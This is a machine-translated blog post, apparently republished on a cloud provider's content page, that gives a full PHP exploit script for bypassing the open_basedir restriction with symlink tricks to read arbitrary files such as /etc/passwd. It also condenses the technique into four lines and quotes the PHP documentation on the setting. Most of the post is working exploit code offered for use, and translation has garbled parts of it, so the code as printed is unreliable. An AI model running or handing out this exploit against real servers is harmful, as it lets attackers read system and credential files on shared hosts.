PHP5 Full version Bypass Open_basedir read File Script vulnerability detailed introduction to _php tips

Source: Internet
Author: User
Tags chmod explode mkdir parent directory safe mode symlink

The bug was raised long ago (about 5 years ago), but it was not a problem with the PHP code, so the problem persists until now. I never noticed, and then Yaseng told me that he tested it as if it were 5.5.

Details of the vulnerability are http://cxsecurity.com/issue/WLB-2009110068 here.

Give me the exp that I wrote:

Copy Code code as follows:

<?php
/*
* by Phithon
* FROM Http://www.jb51.net
* detail:http://cxsecurity.com/issue/wlb-2009110068
*/
Header (' Content-type:text/plain ');
Error_reporting (-1);
Ini_set (' display_errors ', TRUE);
printf ("Open_basedir:%s\nphp_version:%s\n", Ini_get (' Open_basedir '), phpversion ());
printf ("Disable_functions:%s\n", Ini_get (' disable_functions '));
$file = str_replace (' \ \ ', '/', isset ($_request[' file ')]? $_request[' file ': '/etc/passwd ');
$relat _file = Getrelativepath (__file__, $file);
$paths = explode ('/', $file);
$name = Mt_rand ()% 999;
$exp = Getrandstr ();
mkdir ($name);
ChDir ($name);
for ($i = 1; $i < count ($paths)-1; $i + +) {
mkdir ($paths [$i]);
ChDir ($paths [$i]);
}
mkdir ($paths [$i]);
for ($i-= 1; $i > 0; $i-) {
ChDir ('.. ');
}
$paths = explode ('/', $relat _file);
$j = 0;
for ($i = 0; $paths [$i] = = ' ... '; $i + +) {
mkdir ($name);
ChDir ($name);
$j + +;
}
for ($i = 0; $i <= $j; $i + +) {
ChDir ('.. ');
}
$tmp = Array_fill (0, $j + 1, $name);
Symlink (Implode ('/', $tmp), ' Tmplink ');
$tmp = Array_fill (0, $j, '.. ');
Symlink (' tmplink/'. Implode ('/', $tmp). $file, $exp);
Unlink (' Tmplink ');
mkdir (' Tmplink ');
Delfile ($name);
$exp = dirname ($_server[' Script_name ')). "/{$exp}";
$exp = "http://{$_server[' server_name ']}{$exp}";
echo "\ n-----------------content---------------\ n \ nplease";
Echo file_get_contents ($EXP);
Delfile (' Tmplink ');

function Getrelativepath ($from, $to) {
Some compatibility fixes for Windows paths
$from = RTrim ($from, ' \/'). '/';
$from = str_replace (' \ \ ', '/', $from);
$to = str_replace (' \ \ ', '/', $to);

$from = explode ('/', $from);
$to = explode ('/', $to);
$relPath = $to;

foreach ($from as $depth => $dir) {
Find the Non-matching dir
if ($dir = = = $to [$depth]) {
Ignore this directory
Array_shift ($relPath);
} else {
Get number of remaining dirs to $from
$remaining = count ($from)-$depth;
if ($remaining > 1) {
Add traversals up to the matching dir
$padLength = (count ($relPath) + $remaining-1) *-1;
$relPath = Array_pad ($relPath, $padLength, '.. ');
Break
} else {
$relPath [0] = './'. $relPath [0];
}
}
}
Return implode ('/', $relPath);
}

function Delfile ($deldir) {
if (@is_file ($deldir)) {
@chmod ($deldir, 0777);
Return @unlink ($deldir);
}else if (@is_dir ($deldir)) {
if ($mydir = @opendir ($deldir)) = = NULL) return false;
while (false!== ($file = @readdir ($mydir)))
{
$name = File_str ($deldir. ' /'. $file);
if ($file!= '. ') && ($file!= ' ... ')) {delfile ($name);}
}
@closedir ($mydir);
@chmod ($deldir, 0777);
Return @rmdir ($deldir)? True:false;
}
}

function File_str ($string)
{
return Str_replace ('//', '/', str_replace (' \ \ ', '/', $string));
}

function Getrandstr ($length = 6) {
$chars = ' abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ';
$randStr = ';
for ($i = 0; $i < $length; $i + +) {
$randStr. = substr ($chars, Mt_rand (0, strlen ($chars)-1), 1);
}
return $randStr;
}

If we want to read/etc/passwd. The idea is to create a link file x, point to a/a/a/a with a relative path, and then create a link file exp point to x/. /.. /.. /etc/passwd.

In fact, the point is a/a/a/a/. /.. /.. /ETC/PASSWD, in fact, is./etc/passwd.

This time delete x, then create an X directory, but exp or point to x/... /.. /.. /ETC/PASSWD, so he succeeded in crossing the/etc/passwd.

The essence is these four sentences:

Copy Code code as follows:

Symlink ("Abc/abc/abc/abc", "Tmplink");
Symlink ("tmplink/.") /.. /.. /etc/passwd "," exploit ");
Unlink ("Tmplink");
mkdir ("Tmplink");

We visit Http://xxx/exp, and if the server supports access to linked files, then you can read/etc/passwd.

There is no action to trigger open_basedir, but the effect is to bypass the Open_basedir read arbitrary files.

The error is not in PHP, but do not know who is the fault to the head, so PHP has not been the problem.

Open_basedir

Limit the files that PHP can open to the specified directory tree, including the file itself. This directive is not affected by Safe mode turning on or off.

When a script attempts to open a file with such as fopen () or Gzopen (), the location of the file is checked. PHP will refuse to open the file when it is outside the specified directory tree. All symbolic connections are parsed, so it is not possible to circumvent this limitation through symbolic connections.

Special values. Indicates that the working directory of the script will be used as the base directory. But this is a bit risky because the script's working directory can easily be changed by ChDir ().

In the httpd.conf file, Open_basedir can be shut down with "Php_admin_value open_basedir none", like any other configuration option (for example, in some virtual hosts).

In Windows, separate the directories with semicolons. Separate the directories with colons in any other system. As an Apache module, the Open_basedir path in the parent directory is automatically inherited.

The limit specified with Open_basedir is actually a prefix, not a directory name. That is to say, "Open_basedir =/dir/incl" will also allow access to "/dir/include" and "/dir/incls" if they exist. If you want to restrict access to only the specified directory, end the path name with a slash. For example: "Open_basedir =/dir/incl/".

Note:

Support for multiple directories is 3.0.7 join.

By default, all files are allowed to open.

I tested it on my VPS (php5.3.28 + nginx) and raspberry pie (PHP 5.4.4 + nginx) and read it successfully.

Raspberry Pie Test:

Compared to the 5.3 xml hole (which many files can not read), the success rate is still relatively stable, a lot of documents can be read. And the version is not required, the harm is relatively large.

A few days ago letter CTF, tried the script, Apache can also read, then read the Kali machine/etc/httpd/conf/httpd.conf, nothing to harvest.

Found no side station, traffic is forwarded through the gateway.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.